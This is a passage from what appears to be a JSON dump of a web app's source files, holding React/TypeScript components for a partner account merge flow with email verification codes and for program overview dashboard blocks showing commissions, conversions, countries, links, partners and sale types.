<MergePartnerAccountsModal\n        showMergePartnerAccountsModal={showMergePartnerAccountsModal}\n        setShowMergePartnerAccountsModal={setShowMergePartnerAccountsModal}\n      />\n    );\n  }, [showMergePartnerAccountsModal, setShowMergePartnerAccountsModal]);\n\n  return useMemo(\n    () => ({\n      setShowMergePartnerAccountsModal,\n      MergePartnerAccountsModal: MergePartnerAccountsModalCallback,\n    }),\n    [setShowMergePartnerAccountsModal, MergePartnerAccountsModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/merge-accounts/otp-input-field.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { OTPInput } from \"input-otp\";\n\ninterface OTPInputFieldProps {\n  value: string;\n  onChange: (code: string) => void;\n  label: string;\n}\n\nexport function OTPInputField({ value, onChange, label }: OTPInputFieldProps) {\n  return (\n    <div>\n      <label className=\"text-sm font-medium leading-5 text-neutral-900\">\n        {label}\n      </label>\n      <div className=\"relative mt-2\">\n        <OTPInput\n          maxLength={6}\n          value={value}\n          onChange={onChange}\n          render={({ slots }) => (\n            <div className=\"flex w-full items-center justify-between\">\n              {slots.map(({ char, isActive, hasFakeCaret }, idx) => (\n                <div\n                  key={idx}\n                  className={cn(\n                    \"relative flex h-14 w-12 items-center justify-center text-xl\",\n                    \"rounded-lg border border-neutral-200 bg-white ring-0 transition-all\",\n                    isActive &&\n                      \"z-10 border border-neutral-800 ring-2 ring-neutral-200\",\n                    // isInvalidCode && \"border-red-500 ring-red-200\",\n                  )}\n                >\n                  {char}\n                  {hasFakeCaret && (\n                    <div className=\"animate-caret-blink pointer-events-none absolute inset-0 flex items-center justify-center\">\n                      <div className=\"h-5 w-px bg-black\" />\n                    </div>\n                  )}\n                </div>\n              ))}\n            </div>\n          )}\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/merge-accounts/send-verification-code-form.tsx",
    "content": "\"use client\";\n\nimport { mergePartnerAccountsAction } from \"@/lib/actions/partners/merge-partner-accounts\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { AccountInputGroup } from \"@/ui/partners/merge-accounts/account-input-group\";\nimport { useMergePartnerAccountsForm } from \"@/ui/partners/merge-accounts/form-context\";\nimport { Button } from \"@dub/ui\";\nimport { ArrowDown } from \"lucide-react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useEffect } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { StepProgressBar } from \"./step-progress-bar\";\n\nexport function SendVerificationCodeForm({\n  onSuccess,\n  onCancel,\n}: {\n  onSuccess: () => void;\n  onCancel: () => void;\n}) {\n  const { partner } = usePartnerProfile();\n  const { setSourceAccount, setTargetAccount } = useMergePartnerAccountsForm();\n\n  const {\n    watch,\n    register,\n    handleSubmit,\n    formState: { isSubmitting },\n  } = useForm({\n    defaultValues: {\n      sourceEmail: \"\",\n      targetEmail: partner?.email || \"\",\n    },\n  });\n\n  const [sourceEmail, targetEmail] = watch([\"sourceEmail\", \"targetEmail\"]);\n\n  const { executeAsync, isPending } = useAction(mergePartnerAccountsAction, {\n    onSuccess: async () => {\n      onSuccess();\n    },\n    onError({ error }) {\n      toast.error(error.serverError);\n    },\n  });\n\n  useEffect(() => {\n    setSourceAccount((prev) => ({ ...prev, email: sourceEmail }));\n  }, [sourceEmail, setSourceAccount]);\n\n  useEffect(() => {\n    setTargetAccount((prev) => ({ ...prev, email: targetEmail }));\n  }, [targetEmail, setTargetAccount]);\n\n  const onSubmit = async () => {\n    await executeAsync({\n      step: \"send-tokens\",\n      sourceEmail,\n      targetEmail,\n    });\n  };\n\n  return (\n    <form onSubmit={handleSubmit(onSubmit)} className=\"space-y-6\">\n      <p className=\"text-sm font-medium text-neutral-700\">\n        Enter the emails of the accounts you'd like to merge. We'll send a\n        verification code to both emails.\n      </p>\n\n      <div className=\"flex flex-col gap-4\">\n        <AccountInputGroup title=\"Source account\">\n          <label className=\"text-sm font-medium leading-5 text-neutral-900\">\n            Email\n          </label>\n          <div className=\"relative mt-2 rounded-md shadow-sm\">\n            <input\n              type=\"email\"\n              required\n              autoFocus\n              placeholder=\"Enter source account email\"\n              className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n              {...register(\"sourceEmail\")}\n            />\n          </div>\n        </AccountInputGroup>\n\n        <div className=\"flex items-start px-7\">\n          <ArrowDown className=\"size-5\" aria-hidden=\"true\" />\n        </div>\n\n        <AccountInputGroup title=\"Target account\">\n          <label className=\"text-sm font-medium leading-5 text-neutral-900\">\n            Email\n          </label>\n          <div className=\"relative mt-2 rounded-md shadow-sm\">\n            <input\n              type=\"email\"\n              required\n              disabled\n              placeholder=\"Enter target account email\"\n              className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 disabled:cursor-not-allowed disabled:bg-neutral-100 disabled:text-neutral-500 sm:text-sm\"\n              {...register(\"targetEmail\")}\n            />\n          </div>\n        </AccountInputGroup>\n      </div>\n\n      <div className=\"flex items-center justify-between gap-4\">\n        <StepProgressBar step={1} />\n\n        <div className=\"flex items-center gap-2\">\n          <Button\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n            disabled={isPending || isSubmitting}\n            onClick={onCancel}\n          />\n          <Button\n            text=\"Send codes\"\n            className=\"h-8 w-fit px-3\"\n            type=\"submit\"\n            disabled={!sourceEmail || !targetEmail}\n            loading={isPending || isSubmitting}\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/merge-accounts/step-progress-bar.tsx",
    "content": "function getStepClassName(isActive: boolean): string {\n  return isActive ? \"w-4 h-2 bg-neutral-400\" : \"size-2 bg-neutral-300\";\n}\n\nexport function StepProgressBar({ step }: { step: number }) {\n  const totalSteps = 3;\n\n  return (\n    <div className=\"flex items-center gap-1.5\">\n      {Array.from({ length: totalSteps }).map((_, index) => {\n        const isActive = step === index + 1;\n\n        return (\n          <div\n            key={index}\n            className={`rounded-full ${getStepClassName(isActive)}`}\n          />\n        );\n      })}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/merge-accounts/verify-code-form.tsx",
    "content": "\"use client\";\n\nimport { mergePartnerAccountsAction } from \"@/lib/actions/partners/merge-partner-accounts\";\nimport { AccountInputGroup } from \"@/ui/partners/merge-accounts/account-input-group\";\nimport { useMergePartnerAccountsForm } from \"@/ui/partners/merge-accounts/form-context\";\nimport { OTPInputField } from \"@/ui/partners/merge-accounts/otp-input-field\";\nimport { Button } from \"@dub/ui\";\nimport { ArrowDown } from \"lucide-react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { StepProgressBar } from \"./step-progress-bar\";\n\nexport function VerifyCodeForm({\n  onSuccess,\n  onCancel,\n}: {\n  onSuccess: () => void;\n  onCancel: () => void;\n}) {\n  const { sourceAccount, targetAccount, setSourceAccount, setTargetAccount } =\n    useMergePartnerAccountsForm();\n\n  const {\n    watch,\n    handleSubmit,\n    setValue,\n    formState: { isSubmitting },\n  } = useForm({\n    defaultValues: {\n      sourceCode: \"\",\n      targetCode: \"\",\n    },\n  });\n\n  const [sourceCode, targetCode] = watch([\"sourceCode\", \"targetCode\"]);\n\n  const { executeAsync, isPending } = useAction(mergePartnerAccountsAction, {\n    onSuccess: async ({ data }) => {\n      if (data) {\n        setSourceAccount({\n          ...data[0],\n          email: data[0].email!,\n        });\n\n        setTargetAccount({\n          ...data[1],\n          email: data[1].email!,\n        });\n\n        onSuccess();\n      }\n    },\n    onError({ error }) {\n      toast.error(error.serverError);\n    },\n  });\n\n  const onSubmit = async () => {\n    await executeAsync({\n      step: \"verify-tokens\",\n      sourceEmail: sourceAccount.email,\n      targetEmail: targetAccount.email,\n      sourceCode,\n      targetCode,\n    });\n  };\n\n  return (\n    <form onSubmit={handleSubmit(onSubmit)} className=\"space-y-6\">\n      <p className=\"text-sm font-medium text-neutral-700\">\n        We sent a 6-digit code to both emails.\n      </p>\n\n      {/* Didn't receive them? Resend codes. */}\n\n      <div className=\"flex flex-col gap-6\">\n        <AccountInputGroup title=\"Source account\">\n          <div className=\"flex flex-col gap-4\">\n            <div>\n              <label className=\"text-sm font-medium leading-5 text-neutral-900\">\n                Email\n              </label>\n              <div className=\"relative mt-2 rounded-md shadow-sm\">\n                <input\n                  disabled\n                  className=\"block w-full rounded-md border-neutral-300 text-neutral-900 disabled:bg-neutral-100 sm:text-sm\"\n                  defaultValue={sourceAccount.email}\n                />\n              </div>\n            </div>\n\n            <OTPInputField\n              label=\"Verification code\"\n              value={sourceCode}\n              onChange={(code) => {\n                setValue(\"sourceCode\", code);\n              }}\n            />\n          </div>\n        </AccountInputGroup>\n\n        <div className=\"flex items-start px-7\">\n          <ArrowDown className=\"size-5\" aria-hidden=\"true\" />\n        </div>\n\n        <AccountInputGroup title=\"Target account\">\n          <div className=\"flex flex-col gap-4\">\n            <div>\n              <label className=\"text-sm font-medium leading-5 text-neutral-900\">\n                Email\n              </label>\n              <div className=\"relative mt-2 rounded-md shadow-sm\">\n                <input\n                  disabled\n                  className=\"block w-full rounded-md border-neutral-300 text-neutral-900 disabled:bg-neutral-100 sm:text-sm\"\n                  defaultValue={targetAccount.email}\n                />\n              </div>\n            </div>\n\n            <OTPInputField\n              label=\"Verification code\"\n              value={targetCode}\n              onChange={(code) => {\n                setValue(\"targetCode\", code);\n              }}\n            />\n          </div>\n        </AccountInputGroup>\n      </div>\n\n      <div className=\"flex items-center justify-between gap-4\">\n        <StepProgressBar step={2} />\n\n        <div className=\"flex items-center gap-2\">\n          <Button\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n            disabled={isPending || isSubmitting}\n            onClick={onCancel}\n          />\n          <Button\n            text=\"Verify accounts\"\n            className=\"h-8 w-fit px-3\"\n            type=\"submit\"\n            disabled={sourceCode.length !== 6 || targetCode.length !== 6}\n            loading={isPending || isSubmitting}\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/overview/blocks/commissions-block.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { CommissionResponse } from \"@/lib/types\";\nimport { AnalyticsContext } from \"@/ui/analytics/analytics-provider\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { ArrowRight, LoadingSpinner, StatusBadge } from \"@dub/ui\";\nimport { currencyFormatter, fetcher } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useContext } from \"react\";\nimport useSWR from \"swr\";\nimport { CommissionStatusBadges } from \"../../commission-status-badges\";\nimport { ProgramOverviewBlock } from \"../program-overview-block\";\n\nexport function CommissionsBlock() {\n  const { slug: workspaceSlug } = useWorkspace();\n\n  const { queryString } = useContext(AnalyticsContext);\n\n  const { data, error, isLoading } = useSWR<CommissionResponse[]>(\n    `/api/commissions?${queryString}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return (\n    <ProgramOverviewBlock\n      title=\"Recent commissions\"\n      viewAllHref={`/${workspaceSlug}/program/commissions`}\n    >\n      <div className=\"divide-border-subtle @2xl:h-60 flex h-auto flex-col divide-y\">\n        {isLoading ? (\n          <div className=\"flex size-full items-center justify-center py-4\">\n            <LoadingSpinner />\n          </div>\n        ) : error ? (\n          <div className=\"text-content-subtle flex size-full items-center justify-center py-4 text-xs\">\n            Failed to load data\n          </div>\n        ) : data?.length === 0 ? (\n          <div className=\"text-content-subtle flex size-full items-center justify-center py-4 text-xs\">\n            No commissions found\n          </div>\n        ) : (\n          data?.slice(0, 6).map(({ id, partner, status, earnings }) => {\n            const badge = CommissionStatusBadges[status];\n\n            return (\n              <Link\n                key={id}\n                href={`/${workspaceSlug}/program/commissions/${id}`}\n                className=\"text-content-default group flex h-10 items-center justify-between text-xs font-medium\"\n              >\n                <div className=\"flex min-w-0 items-center gap-2\">\n                  <PartnerAvatar partner={partner} className=\"size-4\" />\n                  <span className=\"min-w-0 truncate\">{partner.name}</span>\n                  <ArrowRight className=\"text-content-emphasis size-2.5 -translate-x-0.5 opacity-0 transition-[opacity,transform] group-hover:translate-x-0 group-hover:opacity-100 [&_*]:stroke-2\" />\n                </div>\n\n                <div className=\"flex items-center gap-2\">\n                  <StatusBadge\n                    icon={null}\n                    variant={badge.variant}\n                    className=\"py-0.5\"\n                  >\n                    {badge.label}\n                  </StatusBadge>\n\n                  <span className=\"min-w-12 text-right\">\n                    {currencyFormatter(earnings)}\n                  </span>\n                </div>\n              </Link>\n            );\n          })\n        )}\n      </div>\n    </ProgramOverviewBlock>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/overview/blocks/conversion-block.tsx",
    "content": "import useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { AnalyticsContext } from \"@/ui/analytics/analytics-provider\";\nimport { LoadingSpinner, useRouterStuff } from \"@dub/ui\";\nimport { FunnelChart } from \"@dub/ui/charts\";\nimport { nFormatter } from \"@dub/utils\";\nimport { useContext, useMemo } from \"react\";\nimport { ExceededEventsLimit } from \"../exceeded-events-limit\";\nimport { ProgramOverviewBlock } from \"../program-overview-block\";\n\nexport function ConversionBlock() {\n  const { slug: workspaceSlug, exceededEvents } = useWorkspace();\n  const { program } = useProgram();\n\n  const { getQueryString } = useRouterStuff();\n\n  const { totalEvents, totalEventsLoading } = useContext(AnalyticsContext);\n\n  const steps = useMemo(\n    () => [\n      {\n        id: \"clicks\",\n        label: \"Click\",\n        value: totalEvents?.clicks ?? 0,\n        colorClassName: \"text-blue-600\",\n      },\n      {\n        id: \"leads\",\n        label: \"Lead\",\n        value: totalEvents?.leads ?? 0,\n        colorClassName: \"text-violet-600\",\n      },\n      {\n        id: \"sales\",\n        label: \"Sale\",\n        value: totalEvents?.sales ?? 0,\n        additionalValue: totalEvents?.saleAmount ?? 0,\n        colorClassName: \"text-teal-400\",\n      },\n    ],\n    [totalEvents],\n  );\n\n  const maxValue = useMemo(\n    () => Math.max(...steps.map((step) => step.value)),\n    [steps],\n  );\n\n  return (\n    <ProgramOverviewBlock\n      title=\"Conversion rate\"\n      viewAllHref={`/${workspaceSlug}/program/analytics${getQueryString(\n        {\n          saleType: \"new\",\n          view: \"funnel\",\n        },\n        {\n          include: [\"interval\", \"start\", \"end\"],\n        },\n      )}`}\n      className=\"pb-0\"\n      contentClassName=\"px-0 mt-1\"\n    >\n      <div className=\"h-full min-h-48\">\n        {exceededEvents ? (\n          <ExceededEventsLimit />\n        ) : totalEventsLoading ? (\n          <div className=\"flex size-full items-center justify-center py-4\">\n            <LoadingSpinner />\n          </div>\n        ) : (\n          <div className=\"flex size-full flex-col\">\n            <div className=\"px-6\">\n              <span className=\"text-content-emphasis block text-xl font-medium\">\n                {formatPercentage(\n                  (steps.at(\n                    // show conversion rate based on program's primary reward event\n                    program?.primaryRewardEvent === \"lead\" ? 1 : 2,\n                  )!.value /\n                    maxValue) *\n                    100,\n                ) + \"%\"}\n              </span>\n            </div>\n            <div className=\"mt-4 grid grid-cols-3\">\n              {steps.map((step) => (\n                <div\n                  key={step.id}\n                  className=\"flex flex-col px-6 text-xs font-medium\"\n                >\n                  <div className=\"text-content-muted\">{step.label}</div>\n                  <span className=\"text-content-emphasis\">\n                    {formatPercentage((step.value / maxValue) * 100) + \"%\"}\n                  </span>\n                </div>\n              ))}\n            </div>\n            <div className=\"grow [mask-image:linear-gradient(transparent,black_30%)]\">\n              <FunnelChart\n                steps={steps}\n                persistentPercentages={false}\n                tooltips={false}\n                chartPadding={20}\n              />\n            </div>\n          </div>\n        )}\n      </div>\n    </ProgramOverviewBlock>\n  );\n}\n\nconst formatPercentage = (value: number) => {\n  return value > 0 && value < 0.01\n    ? \"< 0.01\"\n    : nFormatter(value, { digits: 2 });\n};\n"
  },
  {
    "path": "apps/web/ui/partners/overview/blocks/countries-block.tsx",
    "content": "import { editQueryString } from \"@/lib/analytics/utils\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { AnalyticsContext } from \"@/ui/analytics/analytics-provider\";\nimport { ArrowRight, Link4, LoadingSpinner, useRouterStuff } from \"@dub/ui\";\nimport { COUNTRIES, currencyFormatter, fetcher, nFormatter } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useContext } from \"react\";\nimport useSWR from \"swr\";\nimport { ExceededEventsLimit } from \"../exceeded-events-limit\";\nimport { ProgramOverviewBlock } from \"../program-overview-block\";\n\nexport function CountriesBlock() {\n  const { slug: workspaceSlug, exceededEvents } = useWorkspace();\n  const { program } = useProgram();\n\n  const { getQueryString } = useRouterStuff();\n\n  const { queryString } = useContext(AnalyticsContext);\n\n  const { data, isLoading, error } = useSWR<\n    {\n      country: string;\n      leads: number;\n      saleAmount: number;\n    }[]\n  >(\n    !exceededEvents &&\n      `/api/analytics?${editQueryString(queryString, {\n        groupBy: \"countries\",\n        event: program?.primaryRewardEvent === \"lead\" ? \"leads\" : \"sales\",\n      })}`,\n    fetcher,\n  );\n\n  return (\n    <ProgramOverviewBlock\n      title={`Top countries by ${program?.primaryRewardEvent === \"lead\" ? \"leads\" : \"revenue\"}`}\n      viewAllHref={`/${workspaceSlug}/program/analytics${getQueryString(\n        undefined,\n        {\n          include: [\"interval\", \"start\", \"end\"],\n        },\n      )}`}\n    >\n      <div className=\"divide-border-subtle @2xl:h-60 flex h-auto flex-col divide-y\">\n        {exceededEvents ? (\n          <ExceededEventsLimit />\n        ) : isLoading ? (\n          <div className=\"flex size-full items-center justify-center py-4\">\n            <LoadingSpinner />\n          </div>\n        ) : error ? (\n          <div className=\"text-content-subtle flex size-full items-center justify-center py-4 text-xs\">\n            Failed to load data\n          </div>\n        ) : data?.length === 0 ? (\n          <div className=\"text-content-subtle flex size-full items-center justify-center py-4 text-xs\">\n            No countries found\n          </div>\n        ) : (\n          data?.slice(0, 6).map(({ country, leads, saleAmount }) => (\n            <Link\n              key={country}\n              href={`/${workspaceSlug}/program/analytics${getQueryString(\n                { country },\n                {\n                  include: [\"interval\", \"start\", \"end\"],\n                },\n              )}`}\n              className=\"text-content-default group flex h-10 items-center justify-between text-xs font-medium\"\n            >\n              <div className=\"flex min-w-0 items-center gap-2\">\n                {country === \"(direct)\" ? (\n                  <Link4 className=\"size-4\" />\n                ) : (\n                  <img\n                    src={`https://hatscripts.github.io/circle-flags/flags/${country.toLowerCase()}.svg`}\n                    alt={`${country} flag`}\n                    className=\"size-4 shrink-0\"\n                  />\n                )}\n                <span className=\"min-w-0 truncate\">\n                  {COUNTRIES?.[country] ?? country}\n                </span>\n                <ArrowRight className=\"text-content-emphasis size-2.5 -translate-x-0.5 opacity-0 transition-[opacity,transform] group-hover:translate-x-0 group-hover:opacity-100 [&_*]:stroke-2\" />\n              </div>\n\n              <span>\n                {program?.primaryRewardEvent === \"lead\"\n                  ? nFormatter(leads, { full: true })\n                  : currencyFormatter(saleAmount)}\n              </span>\n            </Link>\n          ))\n        )}\n      </div>\n    </ProgramOverviewBlock>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/overview/blocks/links-block.tsx",
    "content": "import { editQueryString } from \"@/lib/analytics/utils\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { AnalyticsContext } from \"@/ui/analytics/analytics-provider\";\nimport { ArrowRight, LinkLogo, LoadingSpinner, useRouterStuff } from \"@dub/ui\";\nimport {\n  currencyFormatter,\n  fetcher,\n  getApexDomain,\n  getPrettyUrl,\n  nFormatter,\n} from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useContext } from \"react\";\nimport useSWR from \"swr\";\nimport { ExceededEventsLimit } from \"../exceeded-events-limit\";\nimport { ProgramOverviewBlock } from \"../program-overview-block\";\n\nexport function LinksBlock() {\n  const { slug: workspaceSlug, exceededEvents } = useWorkspace();\n  const { program } = useProgram();\n\n  const { getQueryString } = useRouterStuff();\n\n  const { queryString } = useContext(AnalyticsContext);\n\n  const { data, isLoading, error } = useSWR<\n    {\n      shortLink: string;\n      url: string;\n      domain: string;\n      key: string;\n      leads: number;\n      saleAmount: number;\n    }[]\n  >(\n    !exceededEvents &&\n      `/api/analytics?${editQueryString(queryString, {\n        groupBy: \"top_links\",\n        event: program?.primaryRewardEvent === \"lead\" ? \"leads\" : \"sales\",\n      })}`,\n    fetcher,\n  );\n\n  return (\n    <ProgramOverviewBlock\n      title={`Top links by ${program?.primaryRewardEvent === \"lead\" ? \"leads\" : \"revenue\"}`}\n      viewAllHref={`/${workspaceSlug}/program/analytics${getQueryString(\n        undefined,\n        {\n          include: [\"interval\", \"start\", \"end\"],\n        },\n      )}`}\n    >\n      <div className=\"divide-border-subtle @2xl:h-60 flex h-auto flex-col divide-y\">\n        {exceededEvents ? (\n          <ExceededEventsLimit />\n        ) : isLoading ? (\n          <div className=\"flex size-full items-center justify-center py-4\">\n            <LoadingSpinner />\n          </div>\n        ) : error ? (\n          <div className=\"text-content-subtle flex size-full items-center justify-center py-4 text-xs\">\n            Failed to load data\n          </div>\n        ) : data?.length === 0 ? (\n          <div className=\"text-content-subtle flex size-full items-center justify-center py-4 text-xs\">\n            No links found\n          </div>\n        ) : (\n          data\n            ?.slice(0, 6)\n            .map(({ shortLink, url, domain, key, leads, saleAmount }) => (\n              <Link\n                key={shortLink}\n                href={`/${workspaceSlug}/links/${domain}/${key}`}\n                className=\"text-content-default group flex h-10 items-center justify-between text-xs font-medium\"\n              >\n                <div className=\"flex min-w-0 items-center gap-2\">\n                  <LinkLogo\n                    apexDomain={getApexDomain(url)}\n                    className=\"size-4 shrink-0 sm:size-4\"\n                  />\n                  <span className=\"min-w-0 truncate\">\n                    {getPrettyUrl(shortLink)}\n                  </span>\n                  <ArrowRight className=\"text-content-emphasis size-2.5 -translate-x-0.5 opacity-0 transition-[opacity,transform] group-hover:translate-x-0 group-hover:opacity-100 [&_*]:stroke-2\" />\n                </div>\n\n                <span>\n                  {program?.primaryRewardEvent === \"lead\"\n                    ? nFormatter(leads, { full: true })\n                    : currencyFormatter(saleAmount)}\n                </span>\n              </Link>\n            ))\n        )}\n      </div>\n    </ProgramOverviewBlock>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/overview/blocks/partners-block.tsx",
    "content": "import { editQueryString } from \"@/lib/analytics/utils\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { PartnerProps } from \"@/lib/types\";\nimport { AnalyticsContext } from \"@/ui/analytics/analytics-provider\";\nimport { ExceededEventsLimit } from \"@/ui/partners/overview/exceeded-events-limit\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { ArrowRight, LoadingSpinner } from \"@dub/ui\";\nimport { currencyFormatter, fetcher, nFormatter } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useContext } from \"react\";\nimport useSWR from \"swr\";\nimport { ProgramOverviewBlock } from \"../program-overview-block\";\n\nexport function PartnersBlock() {\n  const { slug: workspaceSlug, exceededEvents } = useWorkspace();\n  const { program } = useProgram();\n\n  const { queryString } = useContext(AnalyticsContext);\n\n  const { data, isLoading, error } = useSWR<\n    {\n      partnerId: string;\n      leads: number;\n      saleAmount: number;\n      partner: Pick<PartnerProps, \"name\" | \"image\">;\n    }[]\n  >(\n    !exceededEvents &&\n      `/api/analytics?${editQueryString(queryString, {\n        groupBy: \"top_partners\",\n        event: program?.primaryRewardEvent === \"lead\" ? \"leads\" : \"sales\",\n      })}`,\n    fetcher,\n  );\n\n  return (\n    <ProgramOverviewBlock\n      title={`Top partners by ${program?.primaryRewardEvent === \"lead\" ? \"leads\" : \"revenue\"}`}\n      viewAllHref={`/${workspaceSlug}/program/partners`}\n    >\n      <div className=\"divide-border-subtle @2xl:h-60 flex h-auto flex-col divide-y\">\n        {exceededEvents ? (\n          <ExceededEventsLimit />\n        ) : isLoading ? (\n          <div className=\"flex size-full items-center justify-center py-4\">\n            <LoadingSpinner />\n          </div>\n        ) : error ? (\n          <div className=\"text-content-subtle flex size-full items-center justify-center py-4 text-xs\">\n            Failed to load data\n          </div>\n        ) : data?.length === 0 ? (\n          <div className=\"text-content-subtle flex size-full items-center justify-center py-4 text-xs\">\n            No partners found\n          </div>\n        ) : (\n          data?.slice(0, 6).map((partner) => (\n            <Link\n              key={partner.partnerId}\n              href={`/${workspaceSlug}/program/partners/${partner.partnerId}`}\n              className=\"text-content-default group flex h-10 items-center justify-between text-xs font-medium\"\n            >\n              <div className=\"flex min-w-0 items-center gap-2\">\n                <PartnerAvatar partner={partner.partner} className=\"size-4\" />\n                <span className=\"min-w-0 truncate\">{partner.partner.name}</span>\n                <ArrowRight className=\"text-content-emphasis size-2.5 -translate-x-0.5 opacity-0 transition-[opacity,transform] group-hover:translate-x-0 group-hover:opacity-100 [&_*]:stroke-2\" />\n              </div>\n\n              <span>\n                {program?.primaryRewardEvent === \"lead\"\n                  ? nFormatter(partner.leads, { full: true })\n                  : currencyFormatter(partner.saleAmount)}\n              </span>\n            </Link>\n          ))\n        )}\n      </div>\n    </ProgramOverviewBlock>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/overview/blocks/sale-type-block.tsx",
    "content": "import { AnalyticsResponseOptions } from \"@/lib/analytics/types\";\nimport { editQueryString } from \"@/lib/analytics/utils\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { AnalyticsContext } from \"@/ui/analytics/analytics-provider\";\nimport { LoadingSpinner, useRouterStuff } from \"@dub/ui\";\nimport { cn, fetcher, nFormatter } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useContext, useMemo, useState } from \"react\";\nimport useSWR from \"swr\";\nimport { ProgramOverviewBlock } from \"../program-overview-block\";\n\nexport function SaleTypeBlock() {\n  const { slug: workspaceSlug, exceededEvents } = useWorkspace();\n  const { getQueryString } = useRouterStuff();\n  const {\n    queryString,\n    totalEvents: newEvents,\n    totalEventsLoading: isLoadingNewEvents,\n  } = useContext(AnalyticsContext);\n\n  const [hoveredItem, setHoveredItem] = useState<string | null>(null);\n\n  const {\n    data: recurringEvents,\n    isLoading: isLoadingRecurring,\n    error,\n  } = useSWR<{\n    [key in AnalyticsResponseOptions]: number;\n  }>(\n    !exceededEvents &&\n      `/api/analytics?${editQueryString(queryString, {\n        event: \"sales\",\n        saleType: \"recurring\",\n      })}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const isLoading = isLoadingRecurring || isLoadingNewEvents;\n\n  const items = useMemo(() => {\n    if (!newEvents || !recurringEvents) return [];\n\n    return [\n      {\n        key: \"new\",\n        label: \"New\",\n        count: newEvents.sales,\n        fraction: newEvents.sales / (newEvents.sales + recurringEvents.sales),\n        colorClassName: \"bg-violet-500\",\n      },\n      {\n        key: \"recurring\",\n        label: \"Recurring\",\n        count: recurringEvents.sales,\n        fraction:\n          recurringEvents.sales / (newEvents.sales + recurringEvents.sales),\n        colorClassName: \"bg-violet-100\",\n      },\n    ].filter(({ fraction }) => fraction > 0);\n  }, [newEvents, recurringEvents]);\n\n  const totalEvents = useMemo(() => {\n    if (!newEvents || !recurringEvents) return 0;\n    return newEvents.sales + recurringEvents.sales;\n  }, [newEvents, recurringEvents]);\n\n  return (\n    <ProgramOverviewBlock\n      title=\"Sales by type\"\n      viewAllHref={`/${workspaceSlug}/program/analytics${getQueryString(\n        { tab: \"sales\" },\n        {\n          include: [\"interval\", \"start\", \"end\"],\n        },\n      )}`}\n      className=\"pb-0\"\n      contentClassName=\"px-0 mt-1\"\n    >\n      <div className=\"divide-border-subtle @2xl:h-72 flex h-auto flex-col divide-y\">\n        {isLoading ? (\n          <div className=\"flex size-full items-center justify-center py-4\">\n            <LoadingSpinner />\n          </div>\n        ) : error ? (\n          <div className=\"text-content-subtle flex size-full items-center justify-center py-4 text-xs\">\n            Failed to load data\n          </div>\n        ) : (\n          <div className=\"flex size-full flex-col gap-6 px-6 pb-6\">\n            <span className=\"text-content-emphasis block text-xl font-medium\">\n              {nFormatter(totalEvents, {\n                full: totalEvents < 99999,\n              })}\n            </span>\n            <div className=\"mt-8 grid gap-4\">\n              {/* Bars */}\n              <div className=\"flex h-20 gap-4\">\n                {items.map((item) => (\n                  <Link\n                    key={item.key}\n                    href={`/${workspaceSlug}/program/analytics${getQueryString(\n                      { tab: \"sales\", saleType: item.key },\n                      {\n                        include: [\"interval\", \"start\", \"end\"],\n                      },\n                    )}`}\n                    aria-label={`${item.label} sales: ${item.count} (${formatPercentage(item.fraction * 100)}%)`}\n                    title={`${item.label}: ${nFormatter(item.count)} sales (${formatPercentage(item.fraction * 100)}%)`}\n                    className={cn(\n                      \"h-full rounded-md transition-transform\",\n                      hoveredItem === item.key && \"scale-105\",\n                      item.colorClassName,\n                    )}\n                    style={{\n                      width: `${Math.max(item.fraction * 100, 2)}%`,\n                      minWidth: item.fraction < 0.02 ? \"8px\" : \"auto\",\n                    }}\n                    onPointerEnter={() => setHoveredItem(item.key)}\n                    onPointerLeave={() =>\n                      setHoveredItem((i) => (i === item.key ? null : i))\n                    }\n                  />\n                ))}\n              </div>\n\n              {/* List */}\n              <div className=\"-mx-2 flex flex-col gap-y-2\">\n                {items.map((item) => (\n                  <Link\n                    key={item.key}\n                    href={`/${workspaceSlug}/program/analytics${getQueryString(\n                      { tab: \"sales\", saleType: item.key },\n                      {\n                        include: [\"interval\", \"start\", \"end\"],\n                      },\n                    